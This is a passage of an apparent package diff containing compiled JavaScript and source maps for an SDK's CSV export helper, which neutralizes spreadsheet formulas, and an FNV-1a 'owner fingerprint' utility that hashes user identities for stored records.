separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KA4DN,IAAkB,gBAQlB,IAAe;AAyBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AASA,IAAM,IAAkB;AAoBxB,SAAS,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANI,EAAM,SAAS,CAAS,KACvB,KAAmB,EAAgB,KAAK,CAAK,KAAK,CAAC,EAAa,KAAK,CAAK,KAC3E,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MACF,EACI,EAAS,EAAO,QAAQ,CAAkB,GAC1C,GACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,GAAW,CAAkB,CACtF;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
|
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
var e=2166136261,t=16777619;function n(e,n){let r=n;for(let n=0;n<e.length;n+=1)r^=e.charCodeAt(n),r=Math.imul(r,t);return r>>>0}function r(t){return`${n(t,e).toString(16).padStart(8,`0`)}${n(t,2128831034).toString(16).padStart(8,`0`)}`}function i(e,t){let n=typeof t==`string`?t:typeof t==`number`&&Number.isFinite(t)?String(t):``;return n?`${e}:${r(n)}`:null}exports.FNV_OFFSET_BASIS_32=e,exports.FNV_PRIME_32=t,exports.
|
|
2
|
-
//# sourceMappingURL=
|
|
1
|
+
var e=2166136261,t=16777619;function n(e,n){let r=n;for(let n=0;n<e.length;n+=1)r^=e.charCodeAt(n),r=Math.imul(r,t);return r>>>0}function r(t){return`${n(t,e).toString(16).padStart(8,`0`)}${n(t,2128831034).toString(16).padStart(8,`0`)}`}function i(e,t){let n=typeof t==`string`?t:typeof t==`number`&&Number.isFinite(t)?String(t):``;return n?`${e}:${r(n)}`:null}exports.FNV_OFFSET_BASIS_32=e,exports.FNV_PRIME_32=t,exports.fingerprintOwner=r,exports.ownerFingerprint=i;
|
|
2
|
+
//# sourceMappingURL=owner-fingerprint.cjs.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"owner-fingerprint.cjs","names":[],"sources":["../../src/utils/owner-fingerprint.ts"],"sourcesContent":["/**\n * FNV-1a 32-bit offset basis, the seed of the first half of the fingerprint.\n *\n * Ported from the FNV specification (Fowler/Noll/Vo, `offset_basis` for 32 bits).\n */\nexport const FNV_OFFSET_BASIS_32 = 0x811c9dc5;\n\n/**\n * FNV-1a 32-bit prime.\n *\n * Ported from the FNV specification (Fowler/Noll/Vo, `FNV_prime` for 32 bits).\n */\nexport const FNV_PRIME_32 = 0x01000193;\n\n/**\n * Seed of the second half of the fingerprint: the basis with every bit\n * flipped, so the two halves are independent hashes of the same text.\n */\nconst SECOND_SEED = ~FNV_OFFSET_BASIS_32 >>> 0;\n\n/**\n * Hash `text` with FNV-1a from `seed`.\n *\n * @param text - What to hash, read as UTF-16 code units.\n * @param seed - Starting value.\n * @returns The 32-bit hash as an unsigned integer.\n */\nfunction fnv1a(text: string, seed: number): number {\n let hash = seed;\n for (let index = 0; index < text.length; index += 1) {\n hash ^= text.charCodeAt(index);\n hash = Math.imul(hash, FNV_PRIME_32);\n }\n return hash >>> 0;\n}\n\n/**\n * A 64-bit one-way fingerprint of `text`, as 16 hex characters.\n *\n * Not a cryptographic hash, and it does not need to be: it only has to tell\n * two signed-in identities apart on one device, and it must not let anyone\n * holding a stored record send as the user. Sixty-four bits cannot be turned\n * back into a bearer token, and two different users colliding on one browser\n * is a one-in-2^64 event. A synchronous hash is what lets a caller such as the\n * error reporter's `report()` stamp the owner without awaiting\n * `crypto.subtle`.\n *\n * @param text - The principal or token to fingerprint.\n * @returns Sixteen lowercase hex characters.\n */\nexport function fingerprintOwner(text: string): string {\n const first = fnv1a(text, FNV_OFFSET_BASIS_32).toString(16).padStart(8, \"0\");\n const second = fnv1a(text, SECOND_SEED).toString(16).padStart(8, \"0\");\n return `${first}${second}`;\n}\n\n/**\n * Turn a principal or a token into the fingerprint a persisted record stores —\n * an error-report queue entry, a resumable-upload record.\n *\n * The prefix keeps the two sources from ever matching each other: a record\n * stamped from a principal is never taken for one stamped from a token.\n *\n * Only a non-empty string or a finite number is an identity. Anything else —\n * notably the `Promise` an `async` getter returns from untyped JS — reads as\n * nobody, because stringifying it would give every user the same\n * `\"[object Promise]\"` fingerprint.\n *\n * @param source - `\"p\"` for a principal from `getPrincipal`, `\"t\"` for a token.\n * @param value - The identity, or nothing when nobody is signed in.\n * @returns `\"<source>:<fingerprint>\"`, or `null` when `value` is no identity.\n */\nexport function ownerFingerprint(source: \"p\" | \"t\", value: unknown): string | null {\n const text =\n typeof value === \"string\"\n ? value\n : typeof value === \"number\" && Number.isFinite(value)\n ? String(value)\n : \"\";\n return text ? `${source}:${fingerprintOwner(text)}` : null;\n}\n"],"mappings":"AAKA,IAAa,EAAsB,WAOtB,EAAe,SAe5B,SAAS,EAAM,EAAc,EAAsB,CAC/C,IAAI,EAAO,EACX,IAAK,IAAI,EAAQ,EAAG,EAAQ,EAAK,OAAQ,GAAS,EAC9C,GAAQ,EAAK,WAAW,CAAK,EAC7B,EAAO,KAAK,KAAK,EAAM,CAAY,EAEvC,OAAO,IAAS,CACpB,CAgBA,SAAgB,EAAiB,EAAsB,CAGnD,MAAO,GAFO,EAAM,EAAM,CAAmB,CAAC,CAAC,SAAS,EAAE,CAAC,CAAC,SAAS,EAAG,GAE9D,IADK,EAAM,EAAM,UAAW,CAAC,CAAC,SAAS,EAAE,CAAC,CAAC,SAAS,EAAG,GAC/C,GACtB,CAkBA,SAAgB,EAAiB,EAAmB,EAA+B,CAC/E,IAAM,EACF,OAAO,GAAU,SACX,EACA,OAAO,GAAU,UAAY,OAAO,SAAS,CAAK,EAChD,OAAO,CAAK,EACZ,GACZ,OAAO,EAAO,GAAG,EAAO,GAAG,EAAiB,CAAI,IAAM,IAC1D"}
|
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
//#region src/
|
|
1
|
+
//#region src/utils/owner-fingerprint.ts
|
|
2
2
|
var e = 2166136261, t = 16777619;
|
|
3
3
|
function n(e, n) {
|
|
4
4
|
let r = n;
|
|
@@ -13,6 +13,6 @@ function i(e, t) {
|
|
|
13
13
|
return n ? `${e}:${r(n)}` : null;
|
|
14
14
|
}
|
|
15
15
|
//#endregion
|
|
16
|
-
export { e as FNV_OFFSET_BASIS_32, t as FNV_PRIME_32,
|
|
16
|
+
export { e as FNV_OFFSET_BASIS_32, t as FNV_PRIME_32, r as fingerprintOwner, i as ownerFingerprint };
|
|
17
17
|
|
|
18
|
-
//# sourceMappingURL=
|
|
18
|
+
//# sourceMappingURL=owner-fingerprint.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"owner-fingerprint.js","names":[],"sources":["../../src/utils/owner-fingerprint.ts"],"sourcesContent":["/**\n * FNV-1a 32-bit offset basis, the seed of the first half of the fingerprint.\n *\n * Ported from the FNV specification (Fowler/Noll/Vo, `offset_basis` for 32 bits).\n */\nexport const FNV_OFFSET_BASIS_32 = 0x811c9dc5;\n\n/**\n * FNV-1a 32-bit prime.\n *\n * Ported from the FNV specification (Fowler/Noll/Vo, `FNV_prime` for 32 bits).\n */\nexport const FNV_PRIME_32 = 0x01000193;\n\n/**\n * Seed of the second half of the fingerprint: the basis with every bit\n * flipped, so the two halves are independent hashes of the same text.\n */\nconst SECOND_SEED = ~FNV_OFFSET_BASIS_32 >>> 0;\n\n/**\n * Hash `text` with FNV-1a from `seed`.\n *\n * @param text - What to hash, read as UTF-16 code units.\n * @param seed - Starting value.\n * @returns The 32-bit hash as an unsigned integer.\n */\nfunction fnv1a(text: string, seed: number): number {\n let hash = seed;\n for (let index = 0; index < text.length; index += 1) {\n hash ^= text.charCodeAt(index);\n hash = Math.imul(hash, FNV_PRIME_32);\n }\n return hash >>> 0;\n}\n\n/**\n * A 64-bit one-way fingerprint of `text`, as 16 hex characters.\n *\n * Not a cryptographic hash, and it does not need to be: it only has to tell\n * two signed-in identities apart on one device, and it must not let anyone\n * holding a stored record send as the user. Sixty-four bits cannot be turned\n * back into a bearer token, and two different users colliding on one browser\n * is a one-in-2^64 event. A synchronous hash is what lets a caller such as the\n * error reporter's `report()` stamp the owner without awaiting\n * `crypto.subtle`.\n *\n * @param text - The principal or token to fingerprint.\n * @returns Sixteen lowercase hex characters.\n */\nexport function fingerprintOwner(text: string): string {\n const first = fnv1a(text, FNV_OFFSET_BASIS_32).toString(16).padStart(8, \"0\");\n const second = fnv1a(text, SECOND_SEED).toString(16).padStart(8, \"0\");\n return `${first}${second}`;\n}\n\n/**\n * Turn a principal or a token into the fingerprint a persisted record stores —\n * an error-report queue entry, a resumable-upload record.\n *\n * The prefix keeps the two sources from ever matching each other: a record\n * stamped from a principal is never taken for one stamped from a token.\n *\n * Only a non-empty string or a finite number is an identity. Anything else —\n * notably the `Promise` an `async` getter returns from untyped JS — reads as\n * nobody, because stringifying it would give every user the same\n * `\"[object Promise]\"` fingerprint.\n *\n * @param source - `\"p\"` for a principal from `getPrincipal`, `\"t\"` for a token.\n * @param value - The identity, or nothing when nobody is signed in.\n * @returns `\"<source>:<fingerprint>\"`, or `null` when `value` is no identity.\n */\nexport function ownerFingerprint(source: \"p\" | \"t\", value: unknown): string | null {\n const text =\n typeof value === \"string\"\n ? value\n : typeof value === \"number\" && Number.isFinite(value)\n ? String(value)\n : \"\";\n return text ? `${source}:${fingerprintOwner(text)}` : null;\n}\n"],"mappings":";AAKA,IAAa,IAAsB,YAOtB,IAAe;AAe5B,SAAS,EAAM,GAAc,GAAsB;CAC/C,IAAI,IAAO;CACX,KAAK,IAAI,IAAQ,GAAG,IAAQ,EAAK,QAAQ,KAAS,GAE9C,AADA,KAAQ,EAAK,WAAW,CAAK,GAC7B,IAAO,KAAK,KAAK,GAAM,CAAY;CAEvC,OAAO,MAAS;AACpB;AAgBA,SAAgB,EAAiB,GAAsB;CAGnD,OAAO,GAFO,EAAM,GAAM,CAAmB,CAAC,CAAC,SAAS,EAAE,CAAC,CAAC,SAAS,GAAG,GAE9D,IADK,EAAM,GAAM,UAAW,CAAC,CAAC,SAAS,EAAE,CAAC,CAAC,SAAS,GAAG,GAC/C;AACtB;AAkBA,SAAgB,EAAiB,GAAmB,GAA+B;CAC/E,IAAM,IACF,OAAO,KAAU,WACX,IACA,OAAO,KAAU,YAAY,OAAO,SAAS,CAAK,IAChD,OAAO,CAAK,IACZ;CACZ,OAAO,IAAO,GAAG,EAAO,GAAG,EAAiB,CAAI,MAAM;AAC1D"}
|